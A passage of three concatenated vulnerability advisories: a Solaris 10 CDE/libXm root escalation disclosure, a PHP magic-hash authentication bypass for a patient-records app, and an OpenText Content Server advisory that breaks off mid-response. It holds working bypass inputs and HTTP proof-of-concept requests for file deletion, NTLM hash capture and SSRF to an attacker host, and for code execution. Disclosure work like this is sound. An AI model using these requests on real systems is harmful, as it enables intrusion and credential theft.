__0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () It looks like we have at least partial control over the eip register! A promising crash indeed... An interesting variation that can help shed light on the reasons of this crash can be obtained by replacing the 0xfe byte with 0xff: Program terminated with signal 11, Segmentation fault. #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 (gdb) x/i $pc 0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx) (gdb) i r eax 0xfe62d680 -27076992 ecx 0x3 3 edx 0x0 0 ebx 0x20000 131072 esp 0x8045668 0x8045668 ebp 0x80456d0 0x80456d0 esi 0x80460d0 134504656 edi 0x80456f0 134502128 eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt> ... #0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4 #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () Based on our quick analysis, ebx gets corrupted in ParsePixels() and then its value is used to calculate a jump location by code in the .plt section. We have not deeply investigated these instances of memory corruption and we have not seriously fuzzed libXm's XPM parser. We would like to leave further exploration of this attack vector, as well as any vulnerabilities in other libraries used by dtprintinfo, as an exercise for you, dear readers. ;) --[ 2.4 - Stack-based buffer overflow in libXm ParseColors() After our brief but intense artisanal fuzzing experience, before giving up on dtprintinfo and going for some fancier target, it was time to go back to static analysis for a short while, specifically targeting the apparently weak libXm library. We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in the library where unsafe API functions are called, using them as starting points for our binary audit. Among some interesting candidate points, the following one stood up, in the familiar ParseColors() function that we had already encountered while analyzing the crashes produced by our XPM fuzzer: int ParseColors(int *data, uint ncolors, uint cpp, undefined4 *colorTablePtr, undefined4 hashtable) { ... char local_83c[1024]; char local_43c[1024]; ... local_c = _XmxpmNextWord(local_34, local_83c, 0x400); ... local_83c[local_c] = '\0'; strcat(local_43c, local_83c); /* VULN */ } A perfect specimen of stack-based buffer overflow! We have found yet another memory corruption bug in the parsing of printer icons in the XPM format. This one has a high likelihood of being exploitable to achieve arbitrary code execution and local privilege escalation. --[ 3 - Analysis Let's briefly analyze what causes the identified vulnerabilities. --[ 3.1 - Printer name injection and heap memory disclosure The arbitrary printer name injection and heap memory disclosure bugs have the following root causes: * The /usr/bin/lpstat external command invoked by dtprintinfo to list the names of available printers has a flawed parser, which allows low-privileged local users to inject arbitrary printer names in the user-controllable $HOME/.printers file: bash-3.2$ cat ~/.printers FOO;AAA; : bash-3.2$ lpstat -v system for FOO;AAA;: (null) (as lpd://(null)/printers/) From our point of view, this in itself is not a big deal. Since lpstat is executed after dropping privileges, we could in theory inject our own code into this process anyway and control its behavior. For this reason, we have not investigated lpstat any further. The real problem here is architectural: dtprintinfo's functionality should be self-contained and should not depend on external programs. This is not a robust design and has led to more impactful vulnerabilities in the past [6]. * The dtprintinfo program blindly trusts the output of lpstat without validating it. This allows low-privileged local users to craft potentially dangerous inputs (such as printer names that are expected to be in a consistent format), thus altering its behavior. * Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback methods, when updating the .printers file, writes some additional bytes after the actual printer names, thus corrupting the file contents. This is caused by the fact that the DtConfigPrinters::readContinuedLine() method called by DtConfigPrinters::UpdateMainPrtList() does not terminate the returned buffer if it reads a line longer than 256 bytes that does not contain a '\n' character. This non-terminated, heap-allocated buffer is later passed to fprintf(), which then writes some characters that reside past the logical end of the buffer to the .printers file, until a NUL byte is found. This is how we get the observed memory disclosure. Based on our analysis, the described memory disclosure bug does not seem to be directly exploitable to achieve arbitrary code execution and local privilege escalation. However, as usual, feel free to prove us wrong! All considered, we recommend treating this bug as a potential security vulnerability and fixing it as such. --[ 3.2 - Memory corruption via malformed icon files The stack-based buffer overflow in the ParseColors() function of libXm is caused by the unchecked use of the unsafe API function strcat(). This vulnerability can be triggered via a specially crafted XPM icon with long color strings. We have not spent much time analyzing the root causes of the crashes reported by our XPM fuzzer. We recommend extensively auditing and fuzzing libXm and the other libraries distributed with CDE that are used by privileged programs. A quick manual audit and a few runs of our rudimentary mutation fuzzer were enough to discover some shallow and dangerous memory corruption bugs in the XPM parser. We expect more bugs to be present in such ancient code. --[ 4 - Exploitation We have created a proof-of-concept exploit [7] that chains together the printer name injection bug and the stack-based buffer overflow we have identified in libXm. It allows a low-privileged local user to escalate his or her privileges to those of the root user on Intel-based Solaris 10 systems with the latest patches installed (tested on CPU January 2021). The exploit code is extensively commented and should be self-explanatory. An example attack session follows: $ uname -a SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc $ id uid=54322(raptor) gid=1(other) $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall $ ./raptor_dtprintlibXmas 10.0.0.109:0 raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info> Using SI_PLATFORM : i86pc (5.10) Using stack base : 0x8047fff Using safe address : 0x8045790 Using rwx_mem address : 0xfeffa004 Using sc address : 0x8047fac Using sprintf() address : 0xfefd1250 Path of target binary : /usr/dt/bin/dtprintinfo # id uid=0(root) gid=1(other) Our exploit uses dtprintinfo as an attack vector to abuse one of the vulnerabilities we discovered in libXm and escalate privileges to root. Other vectors are potentially available to local and remote attackers, such as other setuid or setgid binaries, daemons, and client applications that use of the vulnerable library. As an example, the dticon application has been confirmed to be affected by our stack-based buffer overflow. --[ 5 - Affected products The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle Solaris 10 are affected by the vulnerabilities discussed in this advisory. All tests were conducted on the following Solaris 10 system, patched with CPU January 2021: bash-3.2$ showrev -a Hostname: nostalgia Hostid: 367f0939 Release: 5.10 Kernel architecture: i86pc Application architecture: i386 Kernel version: SunOS 5.10 Generic_153154-01 OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019 ... Solaris 10 for the SPARC architecture and older versions of the Solaris operating system are also likely vulnerable. Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in the xpmParseColors() function of the libXpm library shipped with Solaris 11.4, calls to the unsafe strcat() API function were replaced with calls to strlcat(), which if used properly prevents buffer overflows. Solaris 11.4 in its default configuration and libXpm are only affected by the first crash we identified, caused by an unbalanced comment block. Please note that we have not conducted an audit on libXpm, which may contain other bugs. CDE 2.5.1 [8] is the latest version (at the time of this writing) of the open-source fork of the Common Desktop Environment. Following our previous vulnerability disclosures, their dtprintinfo binary is not installed setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the vulnerabilities discussed in this advisory. Please note that we have not conducted an audit on the open-source CDE's codebase, which may contain other bugs. Motif 2.3.8 [9] is the latest version (at the time of this writing) of the open-source Motif project that includes the libXm library. In the xpmParseColors() function, calls to the unsafe strcat() API function were replaced with calls to the STRLCAT() macro, which if used properly prevents buffer overflows. Therefore, Motif 2.3.8 is not affected by the vulnerabilities discussed in this advisory. Please note that we have not conducted an audit on Motif's codebase, which may contain other bugs. --[ 6 - Remediation Oracle assigned the following tracking numbers to our vulnerability reports: * S1597707 - Arbitrary printer name injection * S1597724 - Heap memory disclosure via long printer names * S1597711 - Memory corruption via malformed icon files * S1597730 - Stack-based buffer overflow in libXm ParseColors No fixes have been issued for Solaris 10. See the disclosure timeline below for further details. As a partial workaround, it is possible to remove the setuid bit from the dtprintinfo binary as follows (note that this might prevent it from working properly): bash-3.2# chmod -s /usr/dt/bin/dtprintinfo --[ 7 - Disclosure timeline 2022-01-18: Oracle was notified via <secalert_us@oracle.com>. 2022-01-19: Oracle acknowledged our vulnerability reports. 2022-04-20: Asked Oracle to provide an update on the patch release date. 2022-04-21: Oracle replied they could not comment on the patch release date. 2022-09-03: Asked Oracle for an update and informed them of our plan to publish a detailed advisory and a blog post before the end of 2022. 2022-09-12: Oracle replied they are working on the bugs and will be able to give an update closer to the next CPU, scheduled for October. 2022-10-18: Oracle informed us that the vulnerabilities will be fixed in their CPU of January 2023. 2022-12-20: With a surprise move, Oracle informed us that Solaris 10 desktop components have reached EOL and are no longer supported. Therefore, Oracle will not be releasing patches for bugs affecting Solaris 10. They will work with X.Org to get a fix and an advisory released upstream for the first crash we identified in libXm, which also affects X.Org libXpm. This denial of service bug will be fixed in Solaris 11.4. As a final note, it appears that the buffer overflows we discovered in ParsePixels() and ParseColors() were already reported by Chris Evans in 2004 and tracked as CVE-2004-0687 (https://security.appspot.com/security/CESA-2004-003.txt). Due to an incomplete fix, they were not patched in Solaris 10 and have survived in the code for 19 years! Since no patches for Solaris 10 will be released, these issues have officially become #ForeverDay bugs. 2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285 (infinite loop on unclosed comments in X.Org libXpm). Oracle published their CPU January 2023, which unfortunately does not include fixes for our bugs that affect Solaris 10. 2023-01-18: Oracle informed us that Solaris 10 desktop components have reached EOL at the end of 2019. EOL is documented in support note 1400676.1, behind the paywall for Oracle's customers with current support contracts. HN Security published this advisory and a local privilege escalation exploit. --[ 8 - References [1] https://github.com/0xdea/raptor_infiltrate20 [2] https://www.exploit-db.com/search?q=dtprintinfo [3] https://www.xfree86.org/current/xpm.pdf [4] http://www.opengroup.org/desktop/motif.html [5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java [6] https://github.com/0xdea/raptor_infiltrate19 [7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c [8] https://sourceforge.net/projects/cdesktopenv/ [9] https://sourceforge.net/projects/motif/ Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved. </code></pre>

<pre><code># Exploit Title: Patient Record Management System v1.0 - Authentication Bypass via PHP Loose Comparison # Exploit Author: Joe Pollock # Date: January 19, 2023 # Vendor Homepage: https://www.sourcecodester.com/php/13505/patient-record-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/patientrecords.zip # Tested on: Kali Linux, Apache, Mysql, PHP 8.1.5 # CVE: T.B.C # Vendor: kimcey500 # Version: 1.0 # Exploit Description: # Patient Record Management System v1.0 implements a PHP loose comparison within the password recovery functionality (secret question/answer) of # the admin account, which renders the application vulnerable to an authentication bypass depending on the secret answer chosen by the administrator. # If the secret answer generates a SHA1 magic hash (SHA1 is the hashing format used by the application to store secret answers) then an authentication # bypass of the admin account is possible using any other SHA1 magic hash. The vulnerable function is found within User_model.php and is shown below: public function get_forgot_secret($login_id, $secans){ $this->db->where('u_id', $login_id); $query = $this->db->get('users'); $decrypt = $query->row()->u_secretanswer; if(sha1($secans) == $decrypt){ // md5 encryption return $query->row(); } } ======================================================== (+) To reproduce this exploit: ======================================================== 1. Log in as the administrator and navigate to the password recovery functionality (http://localhost/Indexcontrol/secretquestion). 2. Enter the ‘Current Password’ then select any ‘Secret Question’. 3. For the ‘Secret Answer’, use the following: 10932435112 4. Confirm the ‘Secret Answer’ then click ‘Submit’. Now logout of the administrator account. 5. From the admin login page, click ‘Forgot Password?’. 6. Enter ‘admin’ as the username then click ‘Submit’. 7. For the ‘Secret Answer’, use any of the following: aaroZmOk w9KASOk6Ikap aaO8zKZF aa3OFF9m w9KASOk6Ikap 8. After clicking 'Submit, the 'create new password' functionality should be displayed and therefore authentication can be bypassed. ======================================================== (+) Explanation: ======================================================== Following from above, assume the administrator has chosen the following as their secret answer: 10932435112 The application then stores the SHA1 hash of the secret answer in the database. The stored hash is: 0e07766915004133176347055865026311692244 The above hash is an example of a 'magic hash', i.e. the hash starts with "0e" (or "0..0e") only followed by numbers. In PHP, if two strings are loosely compared (==) and match the regular expression 0+e[0-9]+, the result will be TRUE. It will then be possible to bypass the authentication of this account using any secret answer which generates a SHA1 magic hash. Any of the following secret answers could be used to bypass authentication: aaroZmOk w9KASOk6Ikap aaO8zKZF aa3OFF9m w9KASOk6Ikap See here for more examples that could be used: https://github.com/spaze/hashes/blob/master/sha1.md The comparision which would take place by the application in get_forgot_secret() is: if(sha1(aaroZmOk) == "0e07766915004133176347055865026311692244"){ //Reset password Which becomes: if("0e66507019969427134894567494305185566735" == "0e07766915004133176347055865026311692244"){ //Reset password Due to the loose comparision used (==), the above evaluates to TRUE, which would then allow the attacker to change the password of the account. You can try this yourself using the interactive PHP interpreter: var_dump(sha1('aaroZmOk') == "0e111"); var_dump(sha1('aaroZmOk') == "0e222"); var_dump(sha1('aaroZmOk') == sha1('w9KASOk6Ikap')); ======================================================== (+) References and more information ======================================================== https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html https://www.whitehatsec.com/blog/magic-hashes/ https://github.com/spaze/hashes https://offsec.almond.consulting/super-magic-hash.html </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20230117-2 > ======================================================================= title: Multiple post-authentication vulnerabilities including RCE product: OpenText™ Content Server component of OpenText™ Extended ECM vulnerable version: 16.2.2 - 22.3 fixed version: 22.4 CVE number: CVE-2022-45924, CVE-2022-45922, CVE-2022-45925, CVE-2022-45926, CVE-2022-45928 impact: High homepage: https://www.opentext.com/ found: 2022-09-16 by: Armin Stock (Atos) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "OpenText™ Extended ECM is an enterprise CMS platform that securely governs the information lifecycle by integrating with leading enterprise applications, such as SAP®, Microsoft® 365, Salesforce and SAP SuccessFactors®. Bringing content and processes together, Extended ECM provides access to information when and where it’s needed, improves decision-making and drives operational effectiveness." Source: https://www.opentext.com/products/extended-ecm Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Deletion of arbitrary files (CVE-2022-45924) The endpoint `itemtemplate.createtemplate2` allows a low privilege user to delete arbitrary files on the server's local filesystem. 2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922) The request handler for a user accessible function sets a valid AdminPwd cookie that allows access to unauthorized endpoints without knowing the password. 3) xmlExport multiple vulnerabilities (CVE-2022-45925) 3.1) Information disclosure The action `xmlexport` accepts the parameter `requestContext`. If this parameter is present, the response does include most of the `HTTP` headers sent to the server and some of the `CGI` variables like `remote_addr` and `server_name`. 3.2) Capture of NTLM hashes The action `xmlexport` accepts the parameter `transform` in combination with `stylesheet`. The `stylesheet` parameter can be a `nodeID` or a filepath. If a filepath is specified, the `ContentServer` tries to open the file. As absolute paths are allowed it is possible to provide a network share to force the `ContentServer` to open a connection to the network share. This allows an attacker to capture the `NTLM Hash` of the user running the `ContentServer`. 4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926) The endpoint `notify.localizeEmailTemplate` does allow a low privilege user to evaluate webreports. This can be used to perform a `Server Side Request Forgery (SSRF)` attack, with nearly full control of the actual request. 5) Local File Inclusion allows Oscript execution (CVE-2022-45928) Multiple endpoints allow the user to pass the parameter `htmlFile`, which is included in the `HTML` output rendering pipeline of the request. As the `Content Server` evaluates and executes `Oscript` code in `HTML` files, it is possible for an attacker to execute `Oscript` code. The `Oscript` scripting language allows the attacker for example to manipulate files on the filesystem, create new network connections or execute OS system commands. Proof of concept: ----------------- 1) Deletion of arbitrary files (CVE-2022-45924) As a first step the user has to create a new `Customer View Template` object via `/cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo` to get a valid `cacheID`. With the acquired `cacheID` the following request can be used to delete a file. The parameter `DefinitionFile` controls which file should be deleted. ------------------------------------------------------------------------------- http://opentext-dev/OTCS/cs.exe?func=itemtemplate.createtemplate2&objType=844&parentId=2000&cacheID=730440157&DefinitionFile=C:/temp/poc-del.txt ------------------------------------------------------------------------------- 2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922) Sending the following request returns a new valid `AdminPwd` cookie. ------------------------------------------------------------------------------- [ PoC removed, will be published at a later date ] ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=UTF-8 Server: Microsoft-IIS/10.0 Set-Cookie: LLCookie=7X%2BfmttVXssmR2fGiuA4%2BeDFI4%2FotYL4o%2BkpxBTZUWrlHqwvH%2BIg3BCPhuBhD%2B567K288n7PJNeZQkk75EmxtndEpU3chq3cFppnAQ7OAYMX%2Bvl09QntFKi9E%2BWekSdNU866093uXCT4IqYR1ofVfkoLKFwTiUf%2BhgrVKaB8aoLOLlBU5RIrNA%3D%3D; path=/OTCS/; httponly Set-Cookie: AdminPwd=oq6SNA9Db6yUl0vP1ucJkLuRhIYbvO3YdIujUbLLdzGMsygouzJlyuhDLTriq4C1XrMHxWYWkCeuxoZevX0%2BYyFMEevzZVXI6Fe82YBI3HnKu2Stq50vZ8bhPPQeBbXiW%2FRwgp8RHukHgnEWUq3axpUP5OHWCJj9V3Pj5%2FNNqJKie0gUv055KavSIj80Id4dXDiHVu%2FI6IXMhEb1Tm4EVLE1rjxMnpmZILTKds%2FkabH%2FanPx5Jl3YL%2BBkX0PiPe54guaWQj2ReTr1SW7Beomoriq2FrW%2BWK91OtMy%2BbrVTfgEZSRdRNIkA%3D%3D; path=/OTCS/; httponly X-Powered-By: ASP.NET Date: Sat, 01 Oct 2022 17:57:54 GMT Connection: close Content-Length: 221 {"errMsg":"","ok":true,"sessionInactivity":1620000,"sessionLogoutURL":"?func=ll.DoLogout&secureRequestToken=STWVlmadtchZfgpCevUaWz%2FG%2BaDWVMAmJIByhcw6J3FRBkfQdUEyakxuWBKKZIfkujPUOp2jURQ%3D","sessionReactionTime":180000} ------------------------------------------------------------------------------- 3) xmlExport multiple vulnerabilities (CVE-2022-45925) 3.1) Information disclosure Sending the following request reveals sensitive information about the request: ------------------------------------------------------------------------------- GET /OTCS//cs.exe?func=ll&objAction=xmlexport&requestContext=T&objId=2004 HTTP/1.1 Host: opentext-dev User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: LLCookie=Ztn... Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Content-Type: application/xml Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sat, 01 Oct 2022 16:13:40 GMT Connection: close Content-Length: 12581 <?xml version="1.0" encoding="UTF-8"?> <livelink Acls='false' appversion='16.2.0' AttributeInfo='false' CallbackHandlerName='{''}' ContentInline='false' DoingImport='false' ExtUserInfo='false' FollowAliases='false' ForImport='false' HandlerName='XmlExport' NodeInfo='false' Permissions='false' Schema='false' Scope='one' src='XmlExport'> <context> <user deleted='0' groupid='999' groupname='[Content Server Administration]' groupownerid='1000' grouptype='11' id='1000' name='Admin' ownerid='1000' spaceid='0' type='0' userprivileges='16777215'/> <cgi auth_type='' content_length='0' content_type='' path_info='' query_string='func=ll&objAction=xmlexport&requestContext=T&objId=2004' remote_addr='$IP' remote_host='$IP' remote_user='' request_method='GET' script_name='/OTCS/cs.exe' server_name='opentext-dev' server_port='80' server_protocol='HTTP/1.1'/> <http> <header name='HTTP_ACCEPT' value='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'/> <header name='HTTP_ACCEPT_ENCODING' value='gzip, deflate'/> <header name='HTTP_ACCEPT_LANGUAGE' value='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3'/> <header name='HTTP_CONNECTION' value='close'/> <header name='HTTP_HOST' value='opentext-dev'/> <header name='HTTP_UPGRADE_INSECURE_REQUESTS' value='1'/> <header name='HTTP_USER_AGENT' value='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0'/> </http> </context> ------------------------------------------------------------------------------- 3.2) Capture of NTLM hashes Sending the following request with a remote path as value for the `stylesheet` parameter initiates a SMB connection to the attacker's machine: ------------------------------------------------------------------------------- GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- $ sudo impacket-smbserver test /tmp -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection ($opentextIP,59639) [*] AUTHENTICATE_MESSAGE (\,DESKTOP-XXX) [*] User DESKTOP-XXX\ authenticated successfully [*] :::00::aaaaaaaaaaaaaaaa ------------------------------------------------------------------------------- Important side effect: Specifying an existing file for the `stylesheet` parameter , which is not a valid stylesheet, results in an error. As this error skips the cleanup code the temporary file `$OTCS_HOME\temp\xml\XslOutput_[digit]_[digit]` is not removed. The content of this file is partially controlled by the attacker, as it contains the filename of the exported object. This could be further exploited as documented in vulnerability 5). ------------------------------------------------------------------------------- <?xml version="1.0" encoding="UTF-8"?> **OBJECT NAME** ------------------------------------------------------------------------------- 4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926) Sending the following request with the webreport source in the `msgBody` parameter allows the user to evaluate a webreport. ------------------------------------------------------------------------------- POST /OTCS/cs.exe HTTP/1.1 Host: opentext-dev User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: close Cookie: LLCookie=zBH4... Origin: http://opentext-dev Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 134 func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>Username: [LL_REPTAG_USERNAME /]<@/urlencode>&fetch=foobar ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain ;charset=UTF-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sat, 01 Oct 2022 18:33:29 GMT Connection: close Content-Length: 19 Username: Admin ------------------------------------------------------------------------------- The tag `LL_WEBREPORT_RESTCLIENT` can be used to perform a `Server Side Request Forgery (SSRF)` attack, with nearly full control of the actual request. ------------------------------------------------------------------------------- POST /OTCS/cs.exe HTTP/1.1 Host: opentext-dev User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: close Cookie: LLCookie=hRj Origin: http://opentext-dev Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 347 func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode> [LL_WEBREPORT_RESTCLIENT @URI:"http://$attackerIP/" @METHOD:GET @RESPONSE:resp @HOST:$attackerIP @PORT:80 /] <@/urlencode>&fetch=<@urlencode>LL_WEB [ /] [LL_REPTAG_EOL /] LL_WEB_END<@/urlencode> ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- $ ncat -v -l 80 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from $IP. Ncat: Connection from $IP:59856. GET http://$attackerIP/ HTTP/1.1 Connection: Keep-Alive Host: $attackerIP User-Agent: Poco Accept: */* ------------------------------------------------------------------------------- Other dangerous tags could be `RUNSHELL`, `LL_FETCHURL` and `LL_WEBREPORT_CALL` The tag `LL_WEBREPORT_RESTCLIENT` is disabled by default in version 22.1. 5) Local File Inclusion allows Oscript execution (CVE-2022-45928) One way to create a file on the server's filesystem with the desired `Oscript` code, is to use the vulnerability `3.2` and its side effect: * Create a file * Set the filename to the `Oscript` code, which should be executed (e.g.: ``fArgs content: `.fArgs` ``) * Run the `xmlExport` action with an invalid `stylesheet` (should be done multiple times to increase the hit change for the `LFI`) The temporary file `XslOutput_2_3` has the following content: ------------------------------------------------------------------------------- <?xml version="1.0" encoding="UTF-8"?> fArgs content: `.fArgs` ------------------------------------------------------------------------------- To include the previously created file and execute its `Oscript` code, the following request can be used. ------------------------------------------------------------------------------- GET /OTCS/cs.exe?func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3 HTTP/1.1 Host: opentext-dev User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: LLCookie=gYkU6%2BmrbXPaZ87US9mHOswpXTZTyMujb3DmwyB8QglNf9TnicUFBS2%2BW2xv2rufPoyGb82bn3VuyMwvDckJpuncAOHxuIeTbPce%2B6RSn035HjDkk5b2b0rZyM%2FzbtIquS3bYOetho6kt3RYhvkl2ahLkHvhGtO6KUp%2BMX%2Fe43yTpBcw5g1umg%3D%3D; LLTZCookie=0; BrowseSettings=rm%2BT2O%2F0LEfyVN4tBpAlz8iw6wjD9YgjYihWC2sGyHOayyH0F8hfiQ%3D%3D; AdminPwd=CV6waXr6yPLjlL2OlABJf4ka0kmITRSOHWyZSpzRdfy0SvueX0YM%2B6KFPopV5ebviGckgD6K24tGD7HXiJ18UhvZQBS%2BBYSlBI%2BzI0JCeGSH76MxvN%2BogDT59s6MIHVP4PAqqL1YzQ9cRN4L6eZbdE2hySDTwUQTQlOrSoxJNS28IQMclNUnsgct11cbQgApGWazgFlph4brLk65xEfi%2BN%2FGs9rSEKAehMwc94MvoFZ%2B5LLOurbgZYCLaA0YIWuHIUdppEsBVmQKjYGsjyS%2BNcEvcuuiCm8g6C%2FtRIUl85i%2BGyNeFi1rAA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; tl=public_timeline; Accordion= Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html;charset=UTF-8 Server: Microsoft-IIS/10.0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-UA-Compatible: IE=edge Set-Cookie: LLCookie=P7RTINkymKF2z1S8RQ6i0mjQKzaOb%2F2KNgFT5C2uBJZCgJ3sZ36Tll6LMvFDy3MC9DpjK00EXcIAROS7BHPtiMQTUqZ%2FVc6UtBXlW1%2FCljp1jDh1%2BUM05PJDhWzz1Xjzqnuw1iyIiCVDRBpgG9ztKGjSYngYLx6663COmbGleiMRgDlyufNcYw%3D%3D; path=/OTCS/; httponly X-Powered-By: ASP.NET Date: Sun, 02 Oct 2022 10:37:09 GMT Connection: close Content-Length: 5762 <!DOCTYPE html> <HTML LANG="en-US">  </HEAD> <?xml version="1.0" encoding="UTF-8"?> fArgs content: R<'_ExtendSessionTimeout'=true,'_REQUEST'='llweb','AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','func'='commdirectory.LookFeel','GATEWAY_INTERFACE'='CGI/1.1','htmlFile'='temp/xml/XslOutput_2_3','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; 